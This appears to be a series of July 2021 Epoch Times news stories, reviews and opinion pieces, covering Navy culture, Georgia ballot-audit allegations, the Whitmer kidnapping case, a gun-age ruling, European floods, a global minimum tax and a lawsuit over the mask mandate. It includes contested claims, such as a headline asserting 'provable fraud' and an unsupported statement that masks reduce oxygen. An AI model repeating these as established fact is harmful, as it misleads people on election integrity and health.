On top of this reported insufficient focus on warfighting skills, the authors conclude that there is a perception of a zerodefect mentality accompanied by a culture of micromanagement, as well as over-sensitivity and responsiveness to modern media culture, accompanied by more material issues such as a lack of resources and consistency in surface warfare training programs, and the Navys underwhelming commitment to surface ship maintenance.

This is to say nothing of other issues raised, like sailors being buried under an avalanche of administrative tasks.

Collectively, as the report notes, these cultural defects threaten both the morale of the Navy and its readiness. The Navy, in short, is neither singularly pursuing its mission nor building the culture necessary to pursue it.

Reading the words of naval officials across various ranks, other questions arise: To what extent do these cultural problems plague our other governmental institutions? What about our corporations? What of our educational institutions?

One gets the sinking feeling the Navys problems may well be a microcosm of Americas problems; a symptom of our broader cultural maladies.

As I have argued ad nauseam, I firmly believe that if our nation understands the stakes of the challenges facing us at home and abroad, and we have the will, we can overcome anything. But if we succumb to Wokeism, adopting an ethos of national self-loathing, this will corrupt the American mind, and with it corrode our will and capability.

If we refuse to self-assess with clear eyes, and make massive, society-wide corrections, we set ourselves up for national failure.

Only an America oriented towards a mission consistent with our founding, and fostering a commensurate culture, will prevail in the struggles of the 21st century, foreign and domestic.

Ben Weingarten is a fellow of the Claremont Institute and co-host of the Edmund Burke Foundations The NatCon Squad. Hes the author of American Ingrate: Ilhan Omar and the Progressive-Islamist Takeover of the Democratic Party and is currently working on a book on U.S.China policy and its transformation under the Trump administration.

Views expressed in this article are the opinions of the author and do not necessarily reflect the views of The Epoch Times.
Defending the Constitution, None of Us Can Love What We Dont Know: Texas Public Policy Foundation

Kevin Roberts the CEO of the Texas Public Policy Foundation and former history professor told The Epoch Times that American citizens have allowed the federal and state executive branches to collect too much power and one way to remedy this imbalance is to teach students about the U.S. Constitution and the founders of this nation.

Roberts said that both Republican and Democrat administrations are guilty of an overreach by the executive branch because leaders have departed from the Constitutional principles, causing an imbalance within the three-branch system set up by the founders.

I would say over the last 40 to 50 years (presidential administrations) have tended to violate the Constitution, its that theres far too much power concentrated in the executive branch. And there have been some Presidents of both parties who are less guilty of that than others, but its been a trend and the reason that that has happened  is that our elected representatives in the U.S. House, in the U.S. Senate are increasingly fearful of taking hard votes. And so, they allow the unelected bureaucrats in the administrative state of the executive branch to legislate, to regulate, said Roberts.

Current events including long-term pandemic lock-downs, places of worship being closed, Democrat initiatives to nationalize election laws (H.R. 1, For the People Act), potentially criminalizing a belief in biological sex (H.R. 5 The Equality Act), and possible vaccine mandates are all exposing that constitutional rights are under attack.

I would fault mightily an administration I admired and helped out informally in terms of policy and thats the Trump administration, in not being strong enough against the COVID shutdowns, said Roberts. Adding that Dr. Anthony Fauci, the director of the U.S. National Institute of Allergy and Infectious Diseases and the chief medical advisor to the president is an example of an unelected bureaucrat, regulating.

Dr. Anthony Fauci, director of the National Institute of Allergy and Infectious Diseases, speaks during a White House press briefing at the James Brady Press Briefing Room of the White House in Washington, D.C., on Jan. 21, 2021. (Alex Wong/Getty Images)

Theyre (the Biden administration) ignoring on almost every policy issue, the Constitution. I can think of one in particular, Im here in Texas I think often about the border crisis and immigration, Roberts said.

Since President Joe Biden took office, illegal immigrant apprehensions at the border have skyrocketed. The number of apprehensions was over 180,000 in May, the last month for which data are available. That was the highest monthly total in over 20 years. In addition, the U.S. is spending about $60 million a week just to shelter illegal immigrant children.

And what the Biden-Harris administration has done is not adhere to the Constitution, which requires them to protect every state.  If you were to go just south of where I am now in Central Texas and talk to sheriffs, mayors, county executives, Republicans and Democrats alike, they would tell you that the federal government, the Biden administration is not doing its job, Roberts continued.

The former history professor and president of a Catholic college told The Epoch Times that teaching students, as young as kindergarten through college about the strengths of the Constitution and the founders intent is a long-term and necessary goal to limit the power of the government, and which motivated his move into the public policy sector.

And so, weve got to get to a point to kind of connect back to education, where were teaching our K through 12 students and college students much more about the Constitution, so that when theythese future generationsare in Congress, presidents, and governors, they understand that power was designed by our founders to be diffused so that it would be limited in the hands of the single person or single administration, said Roberts.

Roberts will participate in The Epoch Times panel discussion Defending the Constitution: Why It Matters Now More Than Ever, which will be comprised of constitutional experts and rights defenders.

He will be hitting on two important points during the panel discussion, first, he will talk about his experience working with the Trump administration, I saw it firsthand, and that is just the absolute grotesque level and scope of the administrative state, of the deep state, adding, Thats the rotten fruit of not adhering to the Constitution and so I want to connect those dots.

More importantly, Roberts said he will discuss the need to teach about the founding documents and the sacrifices the founders made so Americans can have the freedoms we have today.

And by that, I dont mean hollow patriotism, thats not worth any of us spending time on. But what Ive learned from teaching every level, from graduate students down to kindergarteners is that none of us can love what we dont know.

Panel discussion: Defending the Constitution: Why It Matters Now More Than Ever

Date: Monday, July 19, 2021

Time: 6:00pm-8:00pm

For more information about the panel discussion, please visit http://www.epochevents.us.
Employees of the Fulton County Board of Registration and Elections process ballots in Atlanta on Nov. 4, 2020. (Brandon Bell/Reuters)

Analysis of Ballot Images in Georgia County Shows Provable Fraud in Audit: Election Integrity Group

A group seeking to ensure that elections are run fairly said this week that an in-depth analysis of mail-in ballot images obtained through a court order shows that the hand-count audit in Fulton County, Georgia, last year was riddled with massive errors and provable fraud.

The analysis turned up at least 36 batches of mail-in ballots, containing 4,255 votes, that were added redundantly to the audit results, according to Voters Organized for Trusted Election Results in Georgia (VoterGA). Nearly 3,400 were for Democrat Joe Biden.

The team examining the ballots also found seven audit tally sheets (pdf) they believe were falsified to contain fabricated vote totals. In one example, the group said, a batch containing 59 ballot images for Biden and 42 for former President Donald Trump was reported as 100 for Biden and zero for Trump.

The analysis revealed that 923 (60 percent) of the 1,539 mail-in ballot batch files contained votes that were incorrectly reported in the countys official 2020 election result, compared to the audit totals, VoterGA said.

We believe that there is massive audit errors, Garland Favorito, founder of the group, told a press conference in Georgia on July 13.

The group received the images as part of a court case after it petitioned in late 2020 to get clearance to inspect all mail-in ballots cast in the county in the 2020 election, alleging that fraud took place. The petition cited witnesses to the alleged fraud, including Favorito and other poll watchers and workers.

Henry County Judge Brian Amero, who is overseeing the case, ordered in March that scanned ballot images be made available to the petitioners. Amero late last month let part of the election lawsuit proceed.

Asked about the new claims, a Fulton County spokeswoman told The Epoch Times via email: This is related to a matter that is the subject of pending litigation. Therefore, we do not wish to respond.

A spokesman for Georgia Secretary of State Brad Raffensperger, a Republican, referred requests for comment to Fulton County.

Favorito said elected officials have known about the discrepancies for a long, long time, and he accused them of having covered it up.

Rep. Jody Hice (R-Ga.), who is challenging Raffensperger in the Republican secretary of state primary, in a video called on him to resign.

In Fulton County, there is now undeniable proof of voter irregularity if not outright voter fraud, he said, pointing to the evidence presented by VoterGA.

Raffensperger has claimed that there was no widespread fraud in the 2020 election, which saw Biden beat Trump in Georgia by fewer than 12,000 votes, out of over 4.9 million cast.

Trump said in a statement on July 14: The news coming out of Georgia is beyond incredible. The hand recount in Fulton County was a total fraud! They stuffed the ballot boxand got caught. We will lose our Country if this is allowed to stand.

Biden, in remarks delivered on July 13, noted that election results were recounted three times in Georgia.

Its clear. For those who challenge the results and question the integrity of the election: No other election has ever been held under such scrutiny and such high standards, he said.
FBI Used at Least a Dozen Informants in Michigan Kidnapping Case: Filing

At least 12 confidential informants have helped the FBI build a case against men accused of planning to kidnap Michigan Gov. Gretchen Whitmer, according to a new court filing.

In the ongoing federal case against five defendants, the government has identified at least a dozen such sources by number, a lawyer for one of the defendants wrote in the document. The sources were assisted by FBI agents working undercover, said Scott Graham, an attorney representing Kaleb Franks.

Kaleb is entitled to raise the alternative defense of entrapment. If a jury finds that Kaleb agreed with anyone to kidnap Governor Whitmer, the same jury could find that Kaleb was induced to participate by government agents, Graham wrote in a motion to a federal judge hearing the case.

Kaleb is entitled to fully explore and present this defense. To do this, Kaleb needs access to the CHS files maintained by the government. These files are required by FBI and [Department of Justice] rules and will provide crucial information regarding entrapment issues that will not be available elsewhere.

Federal prosecutors charged Franks and five others last year with planning to kidnap Whitmer, a Democrat. Another seven men were charged on the state level.

Richard Trask II, an FBI special agent, wrote in an affidavit supporting the criminal complaint that the bureau relied on information provided by Confidential Human Sources (CHS) and Undercover Employees (UCE) over several months.

The FBI vetted each source and none of the sources were aware of others, in order to preserve the independence of their reporting, he said.

Franks and four other defendants have pleaded not guilty while the sixth hit with a federal charge pleaded guilty in January to conspiring to kidnap the governor. Ty Garbin, who faces life in prison, promised to cooperate with authorities in the case.

A federal grand jury has charged six men with conspiring to kidnap Michigan Gov. Gretchen Whitmer: (top from left) Kaleb Franks, Brandon Caserta, Adam Dean Fox, and (bottom from left) Daniel Harris, Barry Croft, and Ty Garbin, in an indictment released Dec. 17, 2020. (Kent County Sheriff via AP File)

Defense lawyers, who previously alleged that FBI agents helped stoke the kidnapping plans, filed more than a dozen motions in court this week to try to accomplish various aims, including severing Franks from the other defendants, introducing special instructions to the jury, and compelling prosecutors to identify exculpatory evidence.

Julia Kelly, a lawyer for defendant Daniel Harris, told U.S. District Judge Robert Jonker that the government has produced a voluminous amount of evidence in the case, including recordings culled from undercover and covert recordings of car rides, phone calls, and field training exercises.

Kelly said shes been told a fresh discovery dump is coming soon. That data will include materials related to the confidential human sources involved in the probe.

Citing the governments Brady obligations, the lawyer asked Jonker, a George W. Bush appointee, to order the government to identify which materials in the trove of data contain evidence that would be favorable to her client so she can effectively prepare for the trial.

Graham made the same case in his motion.

The government has a duty to share evidence that could assist in preparation of a defense to the charges, he said.

Evidence already indicates that one of the sources has a decades-long history of cooperating with the government in exchange for personal benefit, he said. Another source received around $54,000 for helping authorities in the case, according to testimony by a special agent during a March hearing.

Evidence also (unsurprisingly) indicates extensive cooperation between these sources and their government handlers  and materials suggest extensive files on these sources and the evidence they provided. As one example: the CHS with the lengthy history of cooperation seems to have granted agents access to certain Facebook accounts, and the CHS who has testified granted agents access to a variety of accounts, Graham said, citing previous hearings and filings.

Jonker will decide on the motions in the near future. The FBI didnt immediately respond to a request by The Epoch Times for comment about the new filing.

A spokeswoman for the U.S. Attorneys office in the Western District of Michigan said via email that the office will respond to the motion in its own filings and wouldnt comment beyond the pending documents.
Federal Court Rules That Ban on Handgun Sales for Under 21-Year-Olds Is Unconstitutional

A federal appeals court ruled on July 13 that a federal law banning handgun sales to young adults is unconstitutional.

In a 21 vote, the three-judge panel of the 4th U.S. Circuit Court of Appeals found that a law Congress passed in 1968 that sets a minimum age of 21 for purchasing handguns violates the Second Amendment.

Looking through this historical lens to the text and structure of the Constitution reveals that 18- to 20-year-olds have Second Amendment rights. Virtually every other constitutional right applies whatever the age. And the Second Amendment is no different, Judge Julius N. Richardson, an appointee of President Donald Trump, wrote in the ruling.

The militia laws in force at the time of ratification uniformly required those 18 and older to join the militia and bring their own arms. While some historical restrictions existed, none support finding that 18-year-olds lack rights under the Second Amendment.

Judge G. Steven Agee, an appointee of President George W. Bush, joined in the decision.

The two judges found that Congress didnt meet its burden to justify passing the law in 1968.

Congress used disproportionate crime rates to craft overinclusive laws that restrict the rights of overwhelmingly law-abiding citizens, the majority opinion stated. And in doing so, Congress focused on purchases from licensed dealers without establishing those dealers as the source of the guns 18- to 20-year-olds use to commit crimes.

Despite the weighty interest in reducing crime and violence, we refuse to relegate either the Second Amendment or 18- to 20-year-olds to a second-class status.  Congress may not restrict the rights of an entire group of law-abiding adults because a minuscule portion of that group commits a disproportionate amount of gun violence.

The ruling is a victory for Natalia Marshall, from Virginia, who filed a lawsuit in 2018 against the Bureau of Alcohol, Tobacco, Firearms and Explosives (ATF) to challenge the law after she was denied a gun from a licensed firearms dealer because she was 18 at the time of the attempted purchase.

Marshall wanted to buy the gun to protect herself from her abusive ex-boyfriend, and defend herself against other potential threats. Another plaintiff in the case against the ATF had since turned 21 at the time of the ruling, which rendered his claims moot.

The latest ruling by the appeals court reverses a decision by U.S. District Judge Glen E. Conrad that had dismissed the suit. Conrad had ruled that the 1968 law was among the longstanding prohibitions and conditions and qualifications on the commercial sale of arms.'

Only five states covered by the 4th CircuitNorth and South Carolina, Maryland, Virginia, and West Virginiawill be affected by the ruling.

Judge James A. Wynn Jr., an appointee of President Barack Obama, dissented in the ruling.

The majoritys decision to grant the gun lobby a victory in a fight it lost on Capitol Hill more than fifty years ago is not compelled by law. Nor is it consistent with the proper role of the federal judiciary in our democratic system, Wynn wrote.

He noted that the ruling only affects the commercial sale of firearms, and that those above 18 years of age are still allowed to own and use handguns and can receive them as gifts or buy such guns via unlicensed but otherwise legal, private sales. As such, he stated that the other two judges concern that the 1968 law would relegate either the Second Amendment or 18- to 20-year-olds to a second-class status is simply surreal.

People over 18 years of age are permitted to buy a long gun, such as a rifle or a shotgun, from a licensed firearms dealer in most states. Select states, including California and Florida, have laws barring long gun sales to those under 21 years old.
Film Review: Roadrunner: A Film about Anthony Bourdain: Bio-documentary of a Media Pioneer

R | 1h 58min | Documentary, Biography | 16 July 2021 (USA)

Opening with the 1972 in-your-face, retro-punk anthem of the same name by Jonathan Richman, Roadrunner moves through its nearly two-hour running time with the same level of fervor and immediacy.

If youre a regular consumer of non-fictional television programming, its likely youre already aware of the plethora of cooking and travel shows. There are multiple channels dedicated solely to those two genres and, combined with other various outlets, well over 100 shows of these types are currently available.

Anthony Bourdain hosted four series from 2002 through 2018. While a handful of programs combine gastronomy and globetrotting, none remotely come close to Bourdains in terms of quality, originality, popularity, or name recognition.

One of the facets that made his shows thoroughly unique and nearly impossible to duplicate was an almost lack of gourmet cooking and romanticized travel. Bourdain preferred sampling meals prepared by local or dive establishments or even those in private homes. There were token nods to some local landmarks and points of interest but the lions share of attention was lavished upon the lives of a particular countrys unassuming, random citizens.

Anthony Bourdain stars in Morgan Nevilles documentary Roadrunner. (CNN / Focus Features)

The Creation of the Landmark Memoir Kitchen Confidential

By all accounts, Bourdain became a public figure by accident. Often mistakenly labeled as a celebrity chef, he was both a celebrity and a chef but never both at the same time. Bourdain stopped cooking professionally shortly before starting his TV career. He sent a series of emails to friend Joel Rose, which made their way into the hands of Roses publisher wife Karen Rinaldi and the second phase of Bourdains professional life took flight.

Those emails provided the springboard for Bourdains memoir, Kitchen Confidential. which immediately became a best-seller and confirmed what many patrons of fine dining establishments had long suspected: the back of the house was a jungle and what ended up on their plates wasnt always as advertised. Bradley Cooper starred as a fictionalized version of Bourdain in a 2005 comedy TV series based on the book. The show aired only four episodes before being cancelled, although all 13 episodes are available on DVD. Certainly not for all tastes, the show doeswith stinging acerbic flourishesaccurately reflect its source material. Those only familiar with filmmaker Morgan Nevilles two highest-profile past efforts (20 Feet from Stardom, 2013, and the 2019 Wont You Be My Neighbor? about childrens TV host Fred Rogers) will notice a sharp contrast in tone and approach. Truth be told, Roadrunner is another historical opus about a creative rebel/pioneer and is right at home alongside previous Neville subjects Brian Wilson, Johnny Cash, Keith Richards, Hank Williams, Muddy Waters, Iggy Pop, producer Sam Phillips, and Stax/Volt Records.

Neville assembles a fascinating mosaic, culling material from archival photos, home movies, snippets of the four shows, and recent interviews, Neville assembles a fascinating mosaic. His filmed tapestry progresses in a methodical, easy-to-follow manner. It helps if youre a foodie but, as with everything else in the film, the movie isnt so much about food or travel; its about a personal journey.

The journey isnt all pretty. The filmmaker shot some episodes in Haiti where people are starving and in Lebanon during a war. This approach lends the production an air of unexpected, unglamorous realism and reinforces Bourdains dedication to authenticity.

One of Bourdains most desired destinations was the Republic of Congo where he recreated scenes from one of his favorite movies, Apocalypse Now. Traveling on a pontoon boat, Bourdain slaughtered two animals while assuming the personality of a member of the fictional tribe commanded by Colonel Kurtz (Marlon Brando). Neville brilliantly juxtapositions cuts from this episode and those from Francis Ford Coppolas film.

While unable to include Bourdains first wife Nancy Putkowski, Neville spends ample time with Ottavia Busia, Bourdains second wife, mother to his only child, and the person who turned him on to martial arts. It speaks highly of her and of Bourdain that Ottavia has nothing but praise for her ex-husband.

Anthony Bourdain stars in Morgan Nevilles documentary Roadrunner. (CNN / Focus Features)

Perhaps the most telling portion dedicated to Bourdains private life is the inclusion of his romance with controversial actress/filmmaker Asia Argento. Perhaps the only person to be on both sides of the #MeToo movement, Argento had the type of free-spirit demeanor which appealed to Bourdain but it came with the type of baggage he certainly didnt need but seemed to crave.

Fame Found Bourdain

It would be impossible to make an honest and complete documentary about someone as high-profile and influential as Bourdain without acknowledging his passing. In the last 10 minutes of the film Neville exhibits immense grace, restraint, and artistic deference.

If youre already aware of the details regarding Bourdains passing youll learn nothing new here and if you werent, youll be given what is only necessary. Codas from Bourdains closest friends and Bourdain himself put the proper and poetic finishing touches on the celebration of a man who squeezed 10 lives into one.

Bourdain was cool because he didnt try to be cool. He didnt seek fame, fame found him and he viewed it as a required semi-evil component in the success of his mission. He wished to experience exotic cuisine and people in foreign lands, not to tell us about great oversees restaurants or to rub shoulders with celebrities and share war stories with egomaniacal chefs.

This guy was the genuine article, a man who inspired millions of people to stretch beyond their comfort zones and take chances, and not just with their food or travel options. He changed the way we look at the rest of the world.

Roadrunner: A Film about Anthony Bourdain

Director: Morgan Neville

Stars: Anthony Bourdain, Ottavia Bourdain, Josh Homme, Asia Argento, Iggy Pop, Eric Ripert

Running time: One hour, 58 minutes

MPAA rating: R

Release date: 16 July 2021

Rating: 4.5 out of 5

Originally from Washington, D.C., Michael Clark has written for over 30 local and national film industry media outlets and is based in the Atlanta Top 10 media marketplace. He co-founded the Atlanta Film Critics Circle in 2017 and is a regular contributor to the Shannon Burke Show on floridamanradio.com. Since 1995, Mr. Clark has written over 4,000 movie reviews and film-related articles.
A woman walks past fire trucks at a flooded street with an umbrella Duesseldorf, Germany, on July 14, 2021. (David Young/dpa via AP)

Flooding Across Parts of Europe After Heavy Rainfall

BERLINStorms caused heavy flooding across parts of western and central Europe overnight, with one man missing after being swept away by a raging stream in eastern Germany.

Firefighters resumed their search for the man in Joehstadt, in Saxony state, on Wednesday morning. German news agency dpa reported that he had been trying to secure his property from rising waters when he disappeared.

Hof county near the eastern border with the Czech Republic issued a disaster alert late Tuesday as basements filled with water, trees were uprooted and some areas lost power overnight. Germanys DWD weather service said the region saw 80 liters of rain per square meter (3.1 inches) in the space of 12 hours.

Firefighters search for a missing person at the Steinbach after a flash flood had swept the individual away during a storm in Johstadt (Erzgebirgskreis), in Germany, on July 13, 2021. (Andre Marz/dpa via AP)

In Hagen, firefighters had to rescue several drivers whose vehicles had become stuck in a flooded underpass. Videos on social media showed streets in the western city knee-deep in water and others buried by landslides.

Residents in the nearby town of Erkrath were warned not to shower or use their washers as the sewage system was overloaded by rain.

The neighboring Netherlands and Belgium were also hit by flooding.

Water authorities in the southern Dutch province of Limburg warned that the heavy rainfall will turn streams into dangerously fast-flowing torrents and urged the public to stay away from them.

Boat owners were advised to steer clear of the Maas river due to strong currents and debris being washed downstream.

Water runs through the community after heavy rains, some of which flooded in Seblitz, Germany, on July 13, 2021. (Bernd Mrz/dpa via AP)

Dutch media showed people being rescued Tuesday from a historic mill that was partially submerged under floodwaters estimated at 1.5 meters (5 feet) deep.

Swollen rivers are expected to overflow into their floodplains later in the week. It is unusual for the rivers to overflow in the summer. It more often happens in the spring when rivers such as the Rhine and the Maas rise due to melting snow in European hills and mountains.

In Switzerland, authorities raised the flood warning for Lake Lucerne to the highest level and banned all shipping.

DWD meteorologists predicted further extreme storms in the western and central parts of Germany through Thursday, with peak rainfall possibly reaching 200 liters per square meter (7.9 inches).
Canada's Minister of Finance and Deputy Prime Minister Chrystia Freeland arrives for the G20 finance ministers and central bankers meeting in Venice, Italy, on July 9, 2021. (Andreas Solaro/AFP via Getty Images)

Global Corporate Minimum Tax Skeptics Say Cartel Will Lead to Higher Taxes

Scheme targeted at large multinationals not paying their fair share to replace digital services tax

News Analysis

The global minimum tax, though short on details at this point, has its share of skeptics who foresee higher taxes and other economic hits from the scheme aimed at large multinationals that avoid paying taxes by shifting profits to tax-friendly countries.

As of July 9, 132 countries have agreed to the two-pillar approach of the Organisation for Economic Co-operation and Development (OECD) and G20 to try to ensure large multinational firms pay their fair share of taxes no matter where they do business and where their headquarters are located.

On a July 10 call with reporters from the G20 Finance Ministers and Central Bank Governors Meeting in Venice, Finance Minister Chrystia Freeland reiterated the objectives of the two pillars. Pillar one is about allocating taxing rights to countries where the worlds largest and most profitable multinational firmsincluding digital companiesdo business, and pillar two introduces a global corporate minimum tax of at least 15 percent, she said.

This is an opportunity for us to act together to end tax arbitrage and jurisdiction shopping by multinationals, to end the race to the bottom, and to secure the tax base that we need to support our people, Freeland said.

The tax agreement faces opposition in the U.S. Congress from Republicans. U.S. firms stand to be hit the hardest.

Canada, whose federal corporate tax rate is 26.5 percent, has not meaningfully lowered its corporate tax rate in the last 10 years like some other countries have, and Freeland said the deal will level the playing field for Canadian workers and businesses in a global economy.

However, a handful of countries are opposed to the agreement, including Ireland and Hungary, whose corporate tax rates are lower than 15 percentat 12.5 percent and 9 percent respectively.

Global Tax Cartel

Franco Terrazzano, federal director of the Canadian Taxpayers Federation, is leery of the agreement, saying that it will pave the way for higher taxes and for politicians to woo investors with more subsidies and special privileges instead of lowering taxes.

A global tax cartel will mean an inevitable march toward higher tax bills and more pork for companies with access to politicians, he said in a commentary in the Niagara Independent.

Governments want to cartelize the tax system so they can pile taxes on multinationals to finance spending, said Jack M. Mintz, Presidents Fellow of the School of Public Policy at the University of Calgary, in a Financial Post op-ed.

In addition, Mintz said the global minimum tax would discourage foreign investment globally, since, for instance, a U.S. company investing in another country, such as Canada, would lose tax breaks like research and development tax credits that would be available to domestic Canadian companies.

And if a company ends up paying less tax in a foreign country, so that the effective rate paid is less than the global minimum, its own country would top up the tax and collect the difference between the foreign countrys rate and the global minimum rate.

By accepting a global corporate tax, we would effectively be agreeing to a higher tax on foreign companies relative to domestic companies operating in Canada, Mintz said.

The inverse situation would hurt Canadian companies investing in foreign countries that offer a lot of tax breaks, such as the United States, he said.

Under the global minimum tax, Canadian companies wouldnt be able to access the same tax breaks as domestic companies operating in foreign markets.

He added that its not clear that a global minimum tax is in Canadas best interest.

Details to Come

For now, the devil is in the details and it would probably be difficult for companies to start making concrete plans, Bruce Ball, VP of Taxation with the Chartered Professional Accountants of Canada, told The Epoch Times.

For a minimum tax, the key issue is whats the tax base, hows it going to work exactly when youre looking at a particular country.  The idea is that there shouldnt be a lot of exemptions or credits, Ball said, adding that factoring in provincial or state taxes is another issue.

Terrazzano said the global minimum tax would strike a blow against tax competition, which is what is keeping politicians from hiking taxes.

Some countries with effective tax rates lower than the minimum could raise their rates to capture a larger share of the taxes paid instead of having another country obtain that revenue by making the company in question top up taxes to get to the minimum, Ball said.

Countries in general have to decide if they want to adjust their tax rate given the [minimum] 15 percent, he said.

The Venice meeting was the next step following G7 meetings in London in June where the initial agreement on co-ordinated taxation was reached following work by the OECD. Countries that sign on to the agreement are aiming to finalize detailed implementation this fall.

In the interim, Canada will implement a digital services tax starting in 2022, until this co-ordinated multilateral approachwhich has been Canadas strong preferencecomes into effect.
A Delta Airline employee gives a face mask to a passenger during check-in at the Ronald Reagan National Airport in Arlington, Va., on July 22, 2020. (Michael A. McCoy/Getty Images)

Health Advocacy Group Asks Federal Court to Strike Down CDCs Traveler Mask Mandate

A watchdog group is suing the U.S. government in federal court over its ongoing mask mandate that it says is based on medical quackery and needlessly forces travelers to don face masks that do little to combat the CCP virus that causes the disease COVID-19.

The lawsuit came the day after Supreme Court Justice Clarence Thomas rejected an emergency application from air traveler Lucas Wall seeking a preliminary injunction against the Centers for Disease Control and Prevention (CDC) over its mandate requiring travelers to wear face coverings. Thomas didnt explain in the July 13 order why he turned down the application. Wall is also suing various airlines and federal agencies over the mandate.

The lawsuit was filed by Health Freedom Defense Fund Inc. (HFDF), a nonprofit headquartered in Sandpoint, Idaho, in the U.S. district court in Tampa, Florida, on July 12.

In the legal proceeding, known as HFDF v. Biden, there are two individual plaintiffs in addition to HFDF: Ana Carolina Daza and Sarah Pope, both of Florida. Among the defendants are President Joe Biden, the U.S. Department of Health and Human Services, and the CDC.

The CDC is not a nationwide police force, Leslie Manookian, president and founder of HFDF, said in a statement. Americans must not be dictated to in this manner by anyone, let alone unelected, unaccountable technocrats at CDC.

HFDF is suing Biden because he wrote an executive order mandating masks [and] CDC has implemented it, Manookian said in a separate interview with The Epoch Times. Her group aims to restore the law and protect peoples rights, she said.

HFDF seeks to rectify health injustice through education, advocacy and legal challenges to unjust mandates, laws and policies that undermine our health freedoms and human rights, according to its website. We are working around the clock to implement a strategy to remove the unethical and unlawful mask, testing, and vaccine mandates being rolled out nationwide by government, businesses and educational institutions.

The executive branch is not supposed to make law, Manookian said. Its also being applied in a very inappropriate, and I would say, arbitrary manner, in that people who legitimately have exemptions are not allowed to fly because the airlines are not allowing it.

The airlines are telling passengers that its federal law, that theyll be fined and kicked off of airplanes if they dont comply. And thats not true. There is no statute. Its not federal law.

We dont think that anybody should be able to tell us that we have to cover our airway. There is no doubt that covering our airway reduces the flow of oxygen and increases the CO 2 . Theres very, very clear research on this, and that has a spectrum of effects on the brain and the body, all of which are deleterious.

And face masks disrupt human interactions, she said.

Our face is the way that we interact with everyone else in our society and in our community. It is our avatar in public. Being forced to cover our face is making us faceless animals  to be corralled into wherever the government decides we should be corralled.

The legal action challenges the validity of Executive Order 13998 issued on Jan. 21 by Biden, as well as the subsequent Jan. 29 mask mandate, titled Requirement for Persons to Wear Masks While on Conveyances and at Transportation Hubs. The mask mandate was issued by the CDC without allowing comments under the Administrative Procedure Act (APA).

The mask mandate requires that when traveling on conveyances and at transportation hubs, all persons (with limited exceptions) must wear masks  [and] also requires conveyance operators and hub operators to make sure that all passengers are wearing masks, except in very limited circumstances, according to the HFDFs legal complaint.

The mandate violates the APA, the plaintiffs say, because it is not in accordance with and exceeds the CDCs statutory and regulatory authority, was enacted without the notice and comment process required by the APA, and is arbitrary and capricious in that it exempts children under age 2 without regard to scientific evidence of the impact of prolonged mask use on persons of all ages.

The plaintiffs also argue that Bidens executive order, in defiance of the constitutional doctrine of separation of powers, usurps a general police power traditionally relegated to the states. As an alternative argument, the plaintiffs say the mask mandate is an unlawful delegation of legislative authority.

HFDF attorney George Wentz of the Davillier Law Group, who has also worked as a lawyer for The Epoch Times, told The Epoch Times the lawsuit has a good chance of success because the CDC has engaged in a good deal of overreach here.

A federal court issued a preliminary injunction on June 18 against the CDCs pandemic-related order from March 2020 locking down the cruise ship industry, he noted.

Florida Attorney General Ashley Moody, a Republican, said at the time, according to Reuters, The federal government does not, nor should it ever, have the authority to single out and lock down an entire industry indefinitely.

Wentz said in an interview that the unelected bureaucrats of the CDC certainly dont possess the power to make law for the United States.

Were pushing back against federal overreach and were protecting the rights of American citizens to self-determine, to use their brains to act responsibly, which we believe they will if theyre free to do so, he said.

Asked about the lawsuit, Bob Page, public affairs officer, Department of Justice Civil Division, declined to comment.
Supreme Court Associate Justice Clarence Thomas attends the ceremonial swearing-in ceremony for Amy Coney Barrett to be the U.S. Supreme Court Associate Justice on the South Lawn of the White House in Washington on Oct. 26, 2020. (Tasos Katopodis/Getty Images)

How the Media Misrepresents Our Liberal-Leaning Supreme Court

Commentary

Clarence Thomas says federal laws against marijuana may no longer be necessary! blared the headline on the June 29, 2021, NBC News story. The item continued, Clarence Thomas, one of the Supreme Courts most conservative justices, said Monday that because of the hodgepodge of federal policies on marijuana, federal laws against its use or cultivation may no longer make sense.

Wow! The Supreme Courts most conservative justice says its time to legalize pot!

But the story was false. Thomas isnt a conservative justice; hes an originalist. Nor did he state that federal anti-marijuana laws no longer make sense. Rather, he wrote that under the Supreme Courts 2005 decision in Gonzales v. Raich (pdf), some local applications of federal law may no longer be constitutional.

Gonzales v. Raich upheld a federal prohibition of medical marijuana against users who act wholly within their state and in conformity with their states law. The majority of the justices said that under the Constitutions Necessary and Proper Clause, the in-state ban was incidental to how Congress had exercised its power to regulate interstate commerce. (In the Necessary and Proper Clause, the word necessary has the technical meaning of incidental.) The majority ruled that the in-state ban was a critical part of Congresss broad and consistent purpose.

Of course, if Thomas were merely a conservative justice, he would have enthusiastically joined the majority: In 2005 nearly all conservatives favored keeping marijuana illegal. Justice Antonin Scalia, who was less originalist and more conservative, did join the majority. But Thomas is committed to applying the Constitution as the Founders understood iteven when it produces liberal results. So he dissented.

Fast forward to 2021. Colorado law now allows marijuana retailing but federal law still does not. A Colorado retailer asked the courts to address the legal tangle of conflicting rules. A federal appeals tribunal decided against him. He then sought Supreme Court review. SCOTUS refused (pdf).

Thomas issued a separate statement. He pointed out that because federal officials no longer pursue a consistent marijuana policy, much of the reasoning of the Gonzales case no longer applies. Contrary to NBC disinformation, Thomas said nothing about whether anti-marijuana laws made sense or were good or bad

This incident exemplifies how the mainstream media have been transmogrified from outfits merely liberal into leftist propaganda machines. NBC mislabeled Thomas as a conservative, failed to mention his originalism, grossly distorted his reasoning, and falsely proclaimed that a prominent conservative has enlisted in the drug legalization brigade.

Mainstream media propaganda usually follows a party line consistent across all outlets. One current line about the Supreme Court is that it has a 63 conservative majority.

This year, as last year, the courts actual decisions didnt match the party line. But the media havent changed the narrative; theyve scrambled to shore it up.

For example, National Public Radio said the court issued liberal decisions because it was trying to preserve consensus and its own reputation. Politico claimed the justices shrink from controversy so they held back a bit this term. (Implicit in these statements is that conservative rulings are controversial and reputation-damaging, but liberal decisions are not.)

USA Todays explanation was that the justices appeared to rise above partisan strife. (If you decide a case in a manner the left doesnt like, you are guilty of fomenting partisan strife.)

The Guardian opined that the dominant rightwing cadre might be biding their time. Slate asserted the six conservatives merely laid the groundwork for the devastation to come. (One can only hope!)

And the New York Times somberly instructed us that the liberal decisions came because the conservative majority is in flux.

You can sweep away these rationalizations because they are all rubbish. The simplest explanation for the courts liberal decisions is the correct one: the 63 conservative majority does not exist. I pointed this out in a previous essay, and since I wrote that essay the court has issued more cases confirming it.

Statistics tell part of the story. According to SCOTUS Blog, the most liberal member of the court, Sonya Sotomayor, was in the majority 69 percent of the time. The entire activist liberal bloc of Sotomayor, Breyer, and Kagan was in the majority in 13 of the 28 split decisions.

The rest of the story surfaces when you unravel the decisions one by one:

